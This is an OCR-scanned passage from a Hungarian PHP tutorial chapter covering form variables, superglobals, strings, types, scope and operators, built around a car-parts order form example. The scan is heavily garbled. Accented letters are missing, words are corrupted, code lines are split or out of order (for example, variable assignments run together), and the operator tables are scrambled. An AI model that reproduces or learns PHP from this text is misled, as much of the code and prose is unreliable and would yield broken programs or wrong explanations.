sokat kifogsoljk, gy hossz rvon minden bizonnyal el fog tnni. Korbban ez volt a leginkbb platformfggeden stlus, de ma mr a teljestmnyt nvel register _l ong_arra ys konfigurcis drektvval kiikrathat. j kdban - a rvid stlushoz hasonlan - ezt sem rdemes mr hasznlni, kivve, ha biztosak vagyunk abban, hogy szoftvernket csak rgi szerverekre fogjk telepteni. Rvid stlus hasznlata esetn a kdban lv vltozk neve megegyezik a HTML rlapon lv rlapmezk nevvel. Nem a fggvnyek megkapjk paramtereiket. Ha ezt a stlust vlasztjuk, a vltozkat egyszeren, pldul $abroncs_db - knt hasznlhatj uk. Az rlapon lv abroncs_ db mez ltrehozza az rlapot feldolgoz kd $abroncs_db vltozjt. A vltozkhoz val ilyen knyelmes hozzfrs vonz lehet, m mielrt egyszeren bekapcsolnnk a regis ter_
globals
kell a vltozkar a kdban deklarlni vagy brmilyen mvelertel lrrehozni. Lnyegben gy addnak r a kdnak, ahogy
belltst, rdemes vgiggondolni, hogy a PHP fejleszti csapata mirt dnttt annak kikapcsolsa mellett.
18
2. fejezer
A vltozkhoz val ilyen kzverlen hozzfrs igen knyelmes lehet, m lehetsger ad arra, hogy a kdok biztonsgt veszlyezter hibkar kvessnk el. Ha az rlapvltozkar automatikusan ilyen globlis vltozkk alaktjuk, akkor nem
lehet egyrtelmen megklnbztetni az ltalunk ltrehozorr s a kzverlenl felhasznlktl rkez, nem megbzhat vl tozkat. Ha nem jrunk el kell gondossggal, s nem rendelnk minden vltozhoz kezdrtket, akkor a felhasznlk sajt vltozinkkal kevered vltozkat s rtkeket adhatnak t rlapvlrozknr. Amennyiben a vltozk elrsnek knyelmes, rvid stlusr hasznljuk, gyeljnk arra, hogy minden sajt vltoznak kezdrtket adjunk! A kzepes stlus esetn az rlapvltozkar a $_POST, $_GET vagy $_REQUEST tmb valamelyikbl keressk vissza. A $_GET vagy $_POST tmb kzl az egyik trolja az rlapvltozk minden rszlett. Hogy melyik tmbt hasznljuk, az attl fgg, hogy az rlap elkldse GET vagy POST metdussal trtne-e. A GET vagy POST metdussal elkldtt min den adat kombincija elrhet a $_REQUEST tmbn keresztl is. Amennyiben az rlap a POST metdussal lett elkldve, az abroncs_ db mezbe bevitt adat a$_POST [ 'abroncs_
db' J elemben lett eltrolva. Ha az elklds GET metdussal trtnt, az adarot a$_GET['abroncs_db' l elemben fogjuk
tmbelemben is.
Ezek a tmbk aszupergloblis tmbk kz tartoznak. E fogalomhoz a ksbbiekben, amikor a vltozk hatkrt tr Nzznk meg egy pldt, amelyben a vltozk egyszerbben hasznlhat msolatt hozzk ltre! Egy vltoz rcknek egy msikba msolshoz az rtkad (hozzrendel) mveleti jelet (opertorr) hasznljuk; ez PHP-ben nem ms, mint az egyenlsgjel (=).A kvetkez utasts annyir tesz, hogy ltrehoz egy j, $abroncs_db nev vlrozt, s belemsolja a$ POST ['abroncs_db' J
$abroncs_db
=
tartalmr:
$_POST['abroncs_db');
Helyezzk az albbi kdblokkot a feldolgoz kd elejre! A knyv sszes, rlapbl rkez adatokat kezel kdja hasonl blokkot tartalmaz az elejn. Mivel ez a kd nem llt el semmilyen kimenetet, mindegy, hogy a <html> s az oldalt indt ms HTML cmkk al vagy fl helyezzk. A knnyebb megtallhatsg rdekben mi ltalban a kd elejre szaktuk helyezni az ilyen blokkokat.
<?php
$_POST['abroncs_db');
$ POST['olaj db');
A kd hrom j vltozt
a POST metdussal tkldtt adarokat tartalmazzk. Annak rdekben, hogy valami lthat dolgot h*son vgre, adjuk az albbi sorokat PHP kdunk vghez:
echo '<p>Rendelse az albbi: </p>'; echo $abroncs_db.' gumiabroncs<br />'; echo $olaj_db.' flakon olaj<br />'; echo $gyertya_db.' gyjtgyertya<br />';
Egyelre nem ellenriztk a vltozk tartalmr, hogy valban rtelmes adatokat vittek-e be az rlapmezkbe. Prbljunk meg szndkosan rossz adarokat bevinni, s figyeljk meg. hogy mi trtnik! A fejezet htralev rsznek elolvassa utn minden bizonnyal azon lesznk, hogy valamikppen megprbljuk kdunkkal ellenrizni az adatok rvnyessgt. Biztonsgi szempontbl kockzatos dolog a kzveclenl a felhasznlk ltal bevitt adatokat a bngsznek kimenetknt tadni. A beviteli adatokat szrnnk kell. Az ilyen adatok szrsvel a negyedik fejezerben fogjuk rszletesen megrrgyalni. Ha most betltjk a fjlt bngsznkbe, a kd kimenere az 1.4 brn lthathoz kell hasonltson. A pontos rtkek ter mszetesen attl fggnek, hogy mit adtunk meg az rlapon.
-
fejezsek cm -fejezetben kezdnk foglalkozni, a biztonsg krdskrt pedig a Webes alkalmazsok biztonsga cm 16.
PHP gyorstalpal
19
'lk>!> "tl'o.l'lt!.-.1!-k
R{'!Hioi('r('d>"'ll'folo.
.,,.,TIIII>r<'>
':-1-:,
Bob autalkatrszek
Rendelsi eredmnyek R.r:ao:ir:ltsIO.l9,1<kll ReoxldtKuiiiM!tt ,...,..._,
"
-t-.j
..........
6o)cwty
1.4
bra: A Jelhasznl ltal begpelt rlapvltozk egyszeren elrhetk a rendeles_ feldolgozasa. php kdban.
Karakterlncok sszefzse
A pldakdban az echo utasts megjelenti a felhasznl ltal az egyes rlapmezkbe gpelt rtket, illetve az azt kvet magyarz szveget. Ha kzelebbrl megvizsgljuk ezeket az echo utastsokat, lthatjuk, hogy a vltoz neve s az azt kve r szveg kztt egy pont(.) lthat, mint pldul itt:
echo $abroncs_db.' gumiabroncs<br />';
Ez a pont a karakterlncokat sszefz mveleti jel, ami egymshoz adja a karakterlncokar (szvegdarabokat). Gyakran fogjuk hasznlni, amikor az echo utastssal kldnk a bngsznek kimenetet, mert gy elkerlherjk tbb echo parancs begpelst. A megjelenteni kvnt, egyszer vltozkat ketts idzjellel krbefogott karakterlncokba is helyezhetjk.(A tmbk kiss bonyolultabbak, ezrt a tmbk s a karakterlncok kombinlsval a Karakterlncok kezelse s regulris kifejezsek cm 4. fejezetben foglalkozunk majd.) Gondoljuk vgig a kvetkez pldt:
echo "$abroncs_db gumiabroncs<br
/>";
Ez teljesen egyenrtk az elbb elsknt bemutatott utastssal. Mindkt formtum helyes, s csak szemlyes zlsnktl fgg, hogy melyiket hasznljuk. Ezt a folyamatot, vagyis azt, amikor egy karakterlncban a tartalmra cserljk a vltozt, in terpolcinak nevezzk. Fontos tudni, hogy az interpolci csak a ketts idzjellel kzrefogott karakterlncok esern mkdik. Egyszeres idzjelet hasznl szeringekbe nem helyezherjk ezzel a mdszerrel a vltozk nevt. A kvetkez kdsor
echo '$abroncs_db gumiabroncs<br
/>';
lefuttatsa egyszeren az "$abroncs_db gumiabroncs<br />" karakterlncot kldi el a bngsznek A ketts id zjelen bell lv vltoznv helyn a vltoz rtke jelenik meg. Egyszeres idzjel esetn a vltoz neve vagy brmilyen ms szveg vltozatlanul lesz elkldve.
Vltozk s literlok
A mintakd echo utastsaiban sszefztt vltozk s karakterlncok klnbz tpus dolgok. A vltozk adatok szim blumai, a karakterlncok pedig nmaguk is adatok. Amikor ilyen nyers adatdarabot hasznlunk egy programban, litereiinak hvjuk, hogy megklnbztessk a vltozktL Az $abroncs_db egy vltoz, a felhasznl ltal begpelt adatot jelkpez szimblum. A , Gumiabroncs<br />' viszont !iterl. Vehetjk a nvrtkt. Vagyis majdnem vehetjk. Emlksznk mg az elz rsz msodik pldjra A PHP a karakterlncban lv $abroncs_ db vltoznevet a vltoz rtkre cserlte. Emlkezznk vissza a korbban emltett ktfle karakrerlncra: a ketts idzjelet s az egyszeres idzjelet hasznlral A PHP a ketts idzjelben lv karakterlncokat megprblja kirtkelni, ami a korbban bemutatott viselkedst eredmnye zi. Az egyszeres idzjelben lv sztringeket valdi literlknt kezeli. A karakterlncok meghatrozsnak harmadik mdszere a heredoc szintakszis ( <<< ) hasznlata, amely a Perl felliasznlknak mr ismers lehet. A heredoc szintakszis a karakterlncot befejez jel hasznlatval teszi lehetv hossz sztringek egyrtelm meghatrozst. A kvetkez plda egy hromsoros karakterlncot hoz ltre s jelent meg:
echo <<<vege
l. sor 2. sor 3.
sor
vege
20
2. fejezet
A vege jel teljesen tetszlegesen vlaszthat. A lnyeg csupn annyi, hogy a szvegben ne jelenjen meg. Heredoc karakter; lnc lezrshoz helyezzk a lezr jelet a sor elejre!
Az azonostk
Az azonosrk a vltozk nevei. (A fggvnyek s az osztlyok nevi is azonost; a fggvnyekkel s osztlyokkal a Kd tbb szri felhasznlsa s fggvnyrs cm tdik s az Objektumorientlt PHP cm hatodik fejezetben foglalkozunk.) rvnyes azonosrk meghatrozshoz az albbi egyszer szablyokkal szksges tisztban lennnk: Az azonosrk tetszleges hosszsgak lehetnek, berket, szmokat s alulvonst tartalmazhatnak. Az azonosrk szmjeggyel nem kezddhetnek. A PHP megklnbzteti az azonosrkban a kis- s nagybetket. Az $abroncs_db s az $Abroncs_db nem egyezik meg. Gyakori programozi hiba, hogy ugyanannak tekintik ezt a kt azonostt. A fggvnynevek kivtelt kpeznek e szably all: ezeket kis- s nagybetvel is rhatjuk. Vltoznak lehet ugyanaz a neve, mint egy fggvnynek. Az ilyen hasznlat azonban zavar s ppen ezrt kerlend. Ugyanakkor nem lehet egy msik fggvny nevvel megegyez nev fggvnyt ltrehozni. A HTML rlapbl radott vltozkon tlmenen sajt vltozkat is deklarlhatunk s hasznlhatunk. A PHP egyik jellemzje, hogy a vltozkat nem szksges hasznlatuk eltt deklarlni. Akkor jnnek ltre, amikor elszr rtket rendelnk hozzjuk. Tovbbi rszletekrt olvassuk el a kvetkez rszt! Az rtkad mveleti jellel (
=
) rendelhetnk a vltozkhoz rtket, ahogy tetrk azt akkor is, amikor egyik vltoz rtkt
egy msikhoz msoltuk. Bob honlapjn szetetnnk kiszmolni a rendelt ttelek szmt s a fizetend teljes sszeget. Kt vl tozt hozhatunk ltre ezen rtkek trolsra. Elszr is PHP kdunk aljhoz a kvetkez sorokat hozzadva lltsuk be ezen vltozk kezdrtkt nullra!
$osszmennyiseg $vegosszeg
= =
0;
0.00;
Mindkt sor ltrehoz egy-egy vltozt, s literlrtket rendel hozzjuk. Vltoz rtkt is rendelhetjk vltozkhoz, ahogy az albbi plda muratja:
$osszmennyiseg $vegosszeg
=
0;
$osszmennyiseg;
Vltoztpusok
A vltoz tpusa a benne trolt adatra ural. A PHP-ban tbbfle adattpus hasznlhat. A klnbz adatokat klnbz adattpusokban trolhatjuk.
A PHP adattpusai
A PHP a kvetkez alapadattpusokat tmogatja: Integer- egsz szm Float (msnven double)- vals (lebegpontos) szm String- karakterek sorozata, karakterlnc Boolean- true
(igaz) vagy false (hamis) rtket felvehet logikai vltoz
Object - objektum, osztlypldnyok trolsra hasznlt vltoz (lsd a 6. fejezetet!) Kt klnleges adattpus is hasznlhat: NULL s resource. A kezdrtk nlkli vagy NULL rtk vltozk NULL tpu sak. Egyes beptett fggvnyek (pldul az adatbzisfggvnyek) resource tpus vltozkat adnak vissza. Ezek kls erfor rsra (pldul adatbzis-kapcsolatokra) hivatkoznak. Kzveclenl valsznleg soha nem fogunk resource vltozt mdostani, m egyes fggvnyek ezeket adjk vissza, s paramterknt gyakran ms fggvnynek kell tadnunk ezeket.
Tpuserssg foka
A PHP-t gyengn tpusos, mskppen fogalmazva dinamikusan tpusos nyelvnek nevezzk. A vltozk a legtbb programoz si nyelvben csak egyfle tpus adatot tartalmazhatnak, s ezt a tpust a vltoz hasznlata eltt deklarlni kell (pldul C-ben). PHP-ben viszont a vltoznak adott rtk hatrozza meg a vltoz tpust.
PHP gyorstalpal
21
. Amikor pldul az $osszmennyiseg s a $vegosszeg vltozt ltrehozruk, kezdrtkket az albbiak szerint adtuk meg:
Sosszmennyiseg $vegosszeg
= =
O;
0.00;
Mivel a O-t, azaz egsz szmot rendeltnk az $osszmennyiseg-hez, ez most egy integer tpus vltoz. A $vegosszeg pedig ugyanilyen logika miatt float tpus. Kicsit furcsnak tnhet, de akr a kvetkez sorral is folytathatnnk kdunkat:
$vegosszeg
=
'Hell';
A $vegosszeg vltoz ekkor string tpus lenne. A PHP a vltozban trolt rtk tpusa alapjn vltoztatja a vltoz tpust. A tpusok menetkzben, tlthat mdon trtn mdostsnak lehetsge igen hasznos. Ne feledjk, hogy a PHP varzs tsre rudja, hogy milyen adattpust trolrunk el a vltozkbal Amikor visszakeressk a vltozt, ugyanolyan adattpus adatot ad vissza.
Tpusknyszerts
Tpusknyszertssei (type casting) elrhetjk, hogy egy vltoz vagy rtk ms tpusknt viselkedjen. Ez a funkci ugyangy mkdik itt is, mint C-ben. Egyszeren zrjelben az talaktani kvnt vltoz el rjuk az ideiglenes tpust. Az elz rszben lv kt vlrozt talakrssal is deklarlhartuk volna:
$osszmennyiseg $vegosszeg
= =
0;
(float)$osszmennyiseg;
A msodik sor a kvetkezt jelenti: "Vedd az $osszmenn yiseg vltozban trolt rtket, rtelmezd float tpusknt, s trold el a $vegosszeg vltozban!" A $vegosszeg vltoz ezzel float rpus lesz. Az talakrand vltoz tpusa nem vltozik, gy az $osszmennyiseg integer tpus marad. Beptett fggvnnyel is ellenrizhetjk s bellthatjuk a vltozk tpust; ezekrl a fggvnyekrl a fejezet ksbbi rsz ben olvashatunk.
Vltoz vltozk
A PHP mg egy vlroztpust hasznl: a vltoz vltozt. A vltoz vltozk lehetv teszik a vltoznv dinamikus mdo stsr. Mint ltni fogjuk, a PHP elg nagy mozgsteret ad ezen a terleten. Minden nyelvben megvltoztathatjuk a vltozk rtkr, de csak nhny nyelv engedi a vltoztpus mdostst, s mg kevesebb nyelvben megengedett a vltoznv vl toztatsa. A vltoz vltoz gy mkdik, hogy egy vltoz rtkt hasznlja egy msik neveknr. Vegyk pldul az albbi rtkadst:
$valtozo_neve
=
'abroncs_db';
Ezt kveten az $abroncs_db helyert hasznlhatjuk a $$valto z o_neve-t is. Az $abroncs_ db rtkt pldul a kvet kezkppen is bellthatjuk:
$$valtozo_ne ve $abroncs_db
=
5;
5;
Ez a megkzelts egyelre Icicsir megfoghatatlannak tnhet, de a ksbbiekben mg visszatrnk hasznlatra. Minden egyes rlapvltoz egyenknti lisrzsa s hasznlata helyett ciklussal s vltozval automatikusan feldolgozhatjuk ket. A feje zet ksbbi, a for ciklusokat bevezet rszben pldn keresztl fogjuk ezt bemutatni.
l O O) ; 4) ;
10);
22
2. fejezet
Adjuk ezeket a sorokat kdunkhoz! gy van mr hrom llandnk, amit a vevi rendels vgsszegnek kiszmtsra fo gunk hasznlni.
Vegyk szre, hogy az llandk nevt nagybernvel rtuk! Ez a C-bl tvett szoks egyszeren, rnzsre megklnbztet hecv tes:d a vltozkat s az llandkat. Nem ktelez, mgis rdemes ragaszkodni ehhez, mivel knnyebben olvashatv s ttekinthetv teszi kdunkat. Az llandk s a vltozk kzte egy fontos klnbsg, hogy amikor llandra hivatkozunk, nem kell dollrjelet rakni el. Ha szksgnk van az lland rtkre, csak a nevt kell hasznlnunk. Ha pldul az imnt ltrehozott konstansok kzl az elst szeremnk hasznlni, a kvetkezket gpelnnk be: echo
ABRONCSAR;
A PHP az ltalunk meghatrozott llandkan kvl szmtalan sajt (beptett) llandval rendelkezik. Ezeket a legegysze rbben gy tekinthetjk t, ha lefuttatjuk a phpinfo ( ) fggvnyt: phpinfo(); A fggvny -sok ms hasznos informci mellett -a PHP elre definilt vltozinak s llandinak listjt adja vissza. Ahogy haladunk a knyvben, nmelyikkel mi magunk is tallkozni fogunk. A vltozk s llandk kztti msik klnbsg, hogy az utbbiak csak boolean, integer, float s string pus adatokat trol hamak. Ezeket az adattpusokat egyttesen skalris rtkeknek nevezzk.
Vltozk hatkre
A hatkr (scope) kifejezs a kd azon terleteire utal, ahol az adott vltoz elrhet. A PHP-nek a hatkrre vonatkoz, hat alapvet szablya a kvetkez: A beptett szupergloblis vltozk a kdon bell brhol elrhetk. Deklarlsuk utn az llandk globlisan elrhetk; ez azt jelenti, hogy a fggvnyeken bell s kvl is hasznlhatk. (De fggvnyen bell csak akkor rhet el az adott globlis vltoz, ha a global kulcsszval deklarljuk azt.) A kdban deklarlt globlis vltozk a kdban brhol elrhetk, csak a fggvnyeken bell nem. A globlisknt deklarlt fggvnyekben lv vltozk az ugyanolyan nev globlis vltozkra hivatkoznak. A fggvnyekben bevezetett s static kulcsszval deklarlt vltozk a fggvnyeken kvlrl nem rhetk el, m a fggvny kt meghvsa kzte megrzik rtkket. (Az 5. fejezetben rszletesebben elmagyarzzuk ezt a mkdst.) A fggvnyekben bevezetett vltozk az adott fggvnyre nzve helyiek, s a fggvny vgn megsznnek ltezni. A $_GET s a$_POST tmb, illetve nhny klnleges vltoz egyni hatkrszablyokkal rendelkezik. Ezek szupergloblis vagy autogloblis vltozk, amelyek rnindenhol, fggvnyeken bell s kvl is lthatk. A szupergloblis vltozk teljes listja a kvetkez:
$GLOBALS
-az sszes globlis vltozt tartalmaz tmb (a global kulcsszhoz hasonlan ez is lehetv teszi a glo
blis vltozkhoz val, fggvnyen belli hozzfrst-pldul gy: $GLOBALS [ 'sa j a t_val toz o'
$_SE RVER
l)
$_GET $_POST
-a kdnak GET metdussal tadoct vltozk tmbje -a kdnak metdussal tadoct vltozk tmbje -bngszstik vltozinak tmbje -fjlfeltltsekhez kapcsold vltozk tmbje -az sszes felhasznli bevitele, kztk a$_GET,$_POST s$_COOKIE vltozkat magban foglal munkamenet (session) -vltozk tmbje
$_ REQUEST
beviteli tartalmat tartalmaz tmb (amely a PHP 4.3.0 verzija ta a$_F I LES vltozkat nem tartalmazza)
$_ SESSION-
A knyvben mg tbbszr visszatrnk ezekhez a szupergloblis vltozkhoz, akkor s ott, amikor relevnss vlnak. A ha tkrt rszletesebben is megtrgyaljuk a fejezet egy ksbbi, a fggvnyeket s osztlyokat bemutat rszben. Egyelre rnin den vltoz, amit hasznlunk, alaprtelmezsben globlis lesz.
PHP gyorstalpal
23
A mveleti jelek ltalnossgban egy, kett vagy hrom paramtert hasznlnak, tbbsgk azonban kettt. Az rtkad mveleti jel is kt paramterrel mkdik: az =jel bal oldaln trolsi helyet, jobboldalt pedig egy kifejezst tallunk. Ezeket a paramtereket tnyezknek (mveletrtknek vagy operandusnak) hvjuk.
Mveleti jel
+
Neve
sszeads Kivons Szorzs Oszts Maradkkpzs
Plda
$a + $b $a - $b $a $a $a
*
$b
l
%
l $b
% $b
Ezekkel az opertorokkal mveletek eredmnyt trolhatjuk el, mint az albbi pldban: $eredmeny
=
$a + $b;
Az sszeads s a kivons a vrt mdon mkdik. Ennek a kr mveleri jelnek az eredmnye az $a s $b vltozban eit rolt rtk sszeadsa, illetve kivonsa. A kivons szimblumt (-) egyoperandus mveleti jelknt is hasznlhatjuk, ekkor a negatv szmokar jelli, mint az albbi pldban: $a
=
-1;
A szorzs s az oszts is nagyrszt gy mkdik , ahogy gondolnnk. Figyeljk meg, hogy a matematikban megszokott szorzsjel helyett csillagot hasznlunk szorzsmveleti jelknt, osztsjel helyett pedig perjelet! A maradkkpzs (modulus) mveleri jel az $a vltoz $b vltozval trtn osztsakor kapott maradkot adja vissza. Gondoljuk vgig a kvetkez kdrszletet: $a $b
=
27; 10;
=
$eredmeny
$a%$b;
Az $eredmeny vltozban eltrolt rtk a 27 tzzel val oszrsakor kapott maradk- vagyis 7. Fontos megjegyezni, hogy az aritmetikai mveleti jeleket ltalban egsz vagy lebegpontos szmokra alkalmazzuk. Ha pldul string rpus adatra alkalmazzuk ket, akkor a PHP megksrli a karakterlncot szmm alaktani. Ha e vagy E bett tartalmaz, tudomnyos jellsknt rtelmezi, s float rpus, azaz lebegpontos szmm alaktja azt, msklnben egsz szmm. A PHP szmjegyet keres a karakterlnc elejn, s rtknek tekinti azt; ha nincsen szmjegy, a karakterlnc rtke nulla lesz.
"Bob
";
$b
"auta1katrszek";
=
$eredmeny
$a.$b;
0;
24
2. fejezer
Ezr a sort gy kell olvasni, hogy ..az $oss zmenn y i seg vltoz nullra van llrva:' Ennek okr a fejezet egy ksbbi, az ssze hasonlr mveleti jeleket trgyal rszben fogjuk megvilgrani, m ha egyenlnek olvassuk, elbb-utbb sszezavarodunk.
Ennek a reljes kifejezsnek az rtke nulla. Ez a mdszer lehetv teszi az albbihoz hasonl kifejezsek hasznlatr: $b ; 6 + ($a ; 5); Ez a sor ll-re llrja a $b vltoz rtkr. Az ilyen viselkeds ltalnossgban igaz az rtkadsra: a teljes rtkadsi utasts rtke a bal oldalon lev tnyezhz rendelt rtk. Amikor egy kifejezs rtkt szmtjuk ki, zrjeleket hasznlva szablyozharjuk a mveletek sorrencljt, ahogy a fenti pl dban is tettk. Ez pontosan gy mkdik, rnint a matematikban.
Ez azzal egyenrtk, mintha ezt rtuk volna: + 5; Az sszetett rtkad mveleti jelek az aritmetikai opertorokhoz, illerve a karakterlnc-sszefz mveleti jelhez alkalmaz hatk. Az ilyen sszetett rtkad opertorokat s hasznlatuk eredmnyt foglalja ssze az 1.2 tblzat.
Sa ; Sa 1.2
tblzat: A
PHP
Mveleti jel
+;
*;
Mivel egyenl
$a Sa $a Sa $a $a $a $a $a
+;
$b $b $b
$b Sb Sb
*;
l; %;
$a l; $b $a %; Sb $a $b
$a l $b $a % $b $a $b
A msodik sor az elzetes nvels (pre-increment) mveleti jelet hasznlja, amit azrt hvnak gy, mert a++ az $a vltoz eltt jelenik meg. Az opertor eredmnye az Sa rtknek nvelse eggyel, illerve a megnvelt rtk visszaadsa. Jelen esetben az $a rtke 5-re n, majd az opertor visszaadja az rtkr, s az utasts megjelenti azt. A teljes kifejezs rtke 5. (Vegyk szre, hogy az $a vltozban trolt rtk tnylegesen megvlrozott: nem egyszeren Sa + l-et ad vissza!) Ha azonban a++ az $a utn helyezkedik el, akkor utlagos nvels (post-increment) mveleti jelet hasznlunk, arninek ms a hatsa. Vizsgljuk meg a kvetkez kdrszlerer:
$a;4; echo $a++;
PHP gyorstalpal
25
Itt a mveleti jel hatsa fordtott. Az echo utasts elszr visszaadja s megjelenti az $a rtkr,majd megnveli azt. Ennek a teljes kifejezsnek az rtke 4. Ezt az rtket fogja megjelenteni. Az urasrs vgrehajtsa utn azonban 5 lesz az $a rtke. Jl gondoljuk,a-ben
az
mveleri jel hasonlan mkdik. Hasznlata azonban nem nveli,hanem cskkenti a vltoz, jelen eser
$a rtkr.
5;
$b = $a; Ezek a sorok ltrehozzk az $a vltoz rtknek msodik msolatt,s eltroljk a $b vltozban.Ha ezt kveten meg vltoztatjuk az $a rtkr, a $b vltoz nem vltozik:
$a = 7; // a $b rtke tovbbra is 5 lesz
$b = &$a; $a= 7; // az $a s a $b rtke is 7 lesz A hivatkozsok kicsit trkks dolgok.Ne feleelj k,hogy a hivatkozs inkbb alias, mintsem mutat! Az $a s a $b ugyan arra a memriahelyre mutat.A hivatkozsi mveleti jel hatst a kvetkezkppen oldhatjuk fel:
unset ($a);
A felolds nem vltoztatja meg a $b rtkt (7), hanem megsznteti az $a s a memriban ttolt 7-es rtk kztti kapcsolatot.
$b kifejezst
szerertk volna tesztelni, ami egybknt hamis, akkor rendkvl nehezen megtallhat logikai hibt vtettnk volna a progra mozsban.Mindig ellenrizzk e kt mveleti jel hasznlatr, illetve azt, hogy a megfelel opertort vlasztottuk-e! Knnyen elkvethet hiba,hogy az rtkad mveleti jel helyett egyenlsg sszehasonltst hasznlunk, amit minden bi zonnyal sokszor megtehetnk programozi plyafutsunk sorn.
juk. Felhvjuk a figyelmet az azonos mveleti jelre (=== ),amely akkor ad vissza true rtket, ha a kt tnyez rtke s tpusa is megegyezik.Ha pldul az egyik nulla integer,a msik pedig string tpus,akkor a 0==0 igaz lesz,a 0===0 viszont hamis.
26
2. fejezet
Mveleti jel
Nv Egyenl Azonos
Hasznlat $b $a
--
$a
---
$b
!=
!== <> < > <= >=
Nem egyenl Nem azonos Nem egyenl (sszehasonlt mveleti jel) Kisebb, mint Nagyobb, mint (sszehasonlt mveleti jel) Kisebb vagy egyenl Nagyobb vagy egyenl
$a >= O
&&
Sa <=100
A PHP a logikai S,VAGY, KIZR VAGY sNEM mveleti jelet tmogatja. Ezeket, illetve hasznlatukat az 1.4 tbl zat foglalja ssze.
1.4 tblzat: A PHP logikai mveleti jelei
Mveleti jel
&&
Nv NEM
Hasznlat !$b $a
&&
Eredmny
Igaz, ha $b hamis Igaz, ha $a s $b is igaz; msklnben hamis Igaz, ha $a vagy $b vagy mindkett true; msklnben hamis Ugyanaz, mint az & &, de a mveletsorrendben htrbb van Ugyanaz, mint a l l, de a mveletsorrendben htrbb van Igaz, ha $a vagy $b igaz, de ha mindkett igaz vagy hamis, akkor hamis lesz az rtke opertor mgtt helyezkedik el. A kirtkdsi sor
S
VAGY
$b
ll
Sa ll $b $a and $b $a $a
or x
and
or x or
S
VAGY KIZR VAGY
$b
or
$b
Az and s az
or
Bitmveleti jelek
A bitmveleti jelek (bitwise operator) lehetv teszik, hogy az egsz szmokat az ket alkot bitek sorozataknt kezeljk.Nem valszn, hogy PHP-ban tl sokat hasznlnnk ezeket a bitmveleti jeleket, mindazonltal az 1.5 tblzat sszefoglalja ket.
1.5 tblzat: A PHP bitmveleti jelei
Mveleti jel
&
Nv
Bit S BitVAGY BitNEM
Eredmny
Ott lesz 'l' az eredmnyben, ahol $a s $b mindegyikben az a bit '1'-es. Minden ms biten 'O'. Ott lesz T az eredmnyben, ahol $a s $b kzl legalbb az egyik azon bige '1'-es. Minden ms biten 'O'.
PHP gyorstalpal
27
Mveleti jel
Nv Bit
Has:z;nlat
$a
A
Eredmny
Ott les:z; 'l' a:t eredmnyben, ahol $a s $b kzl csakis pontosan
az
KIZR VAGY
$b
<<
$a << $b
$a
bitjeit $b szm bittel balra tolja(minden bitnyi elto bitjeit $b s:z;m bittel jobbra tolja(minden bitnyi elto
Ez az opertor a:t if-else utasts kifejezses megfelelje, amellyel a fejezet ksbbi rszben foglalkozunk. Egyszer plda a hasznlatra:
($vizsgaeredmeny >= 50? 'Atment' : 'Megbukott')
A fenti kifejezs a hallgatk vizsgaeredmnyt minsti tment vagy megbukott kategria szerint.
A hibakezel mveleti jelet ( @) rtket elllt vagy rtkkel rendelkez kifejezsek eltt hasznlhacjuk Nzzk a:t albbi pldt:
$a = @(57/0);
Az@ opertor nlkl ez a sor nullval trtn osztshibt jelezne. A mveleti jel hasznlata figyelmen kivl hagyja(elnyomja) a hibt.
Amikor ilyen mdszerrel figyelmen kvl hagyjuk a figyelmeztetseket, hibakezel kdot kell rnunk, amely ellenrzi, hogy egyltaln mikor kvetkeznek be a figyelmeztetsek. A mennyiben a PHP php. ini fjljban bekapcsoljuk a track_errars belltst, a $php_errormsg globlis vltozha kerlnek a hibazenetek
A vgrehajt opertor iga:z:bl egy pr fordtott idzjel(' '). Ez nem egyszeres idzjel; ltalban a tilde( megegyez billentyn tallhat a klaviarrn(magyar billentyzet esetn pedig a 7 -es billentyn).
) karakterrel
A PHP a fordtott idzjelek kztti szveget parancsknt prblja meg vgrehajtani a kiszolgl parancssorban. A kifeje zs ttke a parancs eredmnye lesz. Pldul Unix-szer opercis rendszerek esetn hasznlhatjuk a:t albbi kdot:
$out = 'ls -la'; echo '<pre>'.$out. '</pre>';
$out
echo
'dir c: ';
Mindkt kd fogja a knyvtrak listjt s elmenti az $out vltozban. Ezt kveten megjelenthetjk a:tt bngszben, de mskppen is dolgozharunk vele. Ms mdszerek is lteznek arra, hogy parancsokat hajtsunk vgre a kiszolgln. A 19. fejezetben (Afjlrendszer s
a
kiszolg
28
2. fejezet
Tmbmveleti jelek
Tbbfle tmbmveleti jel ltezik. A tmbelem-opertorokkal ( [ J ) a tmbelemeket rhetjk el. Bizonyos tmbk esetn a =>
mveleti jelet is hasznlhatjuk. Ezekkel az opertorokkal a 3. fejezerben ismerkednk majd meg. Tovbbi tmbmveleti jelek is hasznlhark. Ezeket is rszletesen megtrgyaljuk a 3. fejezetben, m a teljessg kedvrt az
1.6 tblzatban is szerepeltetjk ket. 1.6 tblzat: A PHP
tmbmveleti jelei
Mveleti jel +
$a
Hasznlat + $b $a -- $b $a --- $b
$a != $b $a <> $b $a !== $b
Eredmny Az $a s $b tmb minden elemr tartalmaz tmbt ad vissza Akkor igaz, ha az $a s $b tmb elemei kalcsonknt megegyezk Akkor igaz, ha az $a s $b tmb elemei s azok sorrendje megegyezik Akkor igaz, ha $a s $b nem egyenl Akkor igaz, ha $a s $b nem egyenl Akkor igaz, ha $a s $b nem azonos
!= <> !==
Ltni fogjuk, hogy az 1.6 tblzatban szerepl tmbmveleti jeleknek ltezik skalris vltozkon alkalmazhat megfeleljk. Amennyiben megjegyezzk, hogy a
a kett kztt - noha a mveleti jel matematikai rtelemben eltr en mkdik a kt esetben. A tmbket s a skalris tpuso kat nem lehet egymssal rtelmesen sszehasonltani.
Tpusmveleti jel
Egyetlen tpusmveleti jel ltezik: instanceof. Objektumorientlt programozsban hasznljuk, itt csak a teljessg kedvrt emltjk. (Az objektumorientlt programozssal a 6. fejezetben foglalkozunk.)
Az instanceof mveleti jellel kiderthetjk, hogy egy objektum egy adott osztly pldnya-e, pldul:
class mintaOsztaly{}; $sajat_Objektum = new mintaOsztaly(); if ($sajat_Objektum instanceof mintaOsztaly) echo "a sajat_Objektum a mintaOsztly pldnya";
$olaJ_db
$gyertya_db;
".$osszmennyiseg."<br l>";
l 00) ;
10) ;
ABRONCSAR OLAJAR
*
$olaj_db
$gyertya_db
GYERTYAAR;
10%
$vegosszeg
* (l +
$adokulcs);
Ha frisstjk a bngszablakban az oldalt, az 1.5 brn lthathoz hasonl kimenetet kell kapnunk. Lthatjuk, hogy a kdrsz szmos mveleti jelet tartalmaz. Az sszeads (+) s szorzs
juk ki a vgsszeget, az sszefzs mveleti jelet (. ) pedig a bngsznek kldtt kimenet bellrshoz hasznljuk.
PHP gyorstalpal
29
Bob autalkatrszek
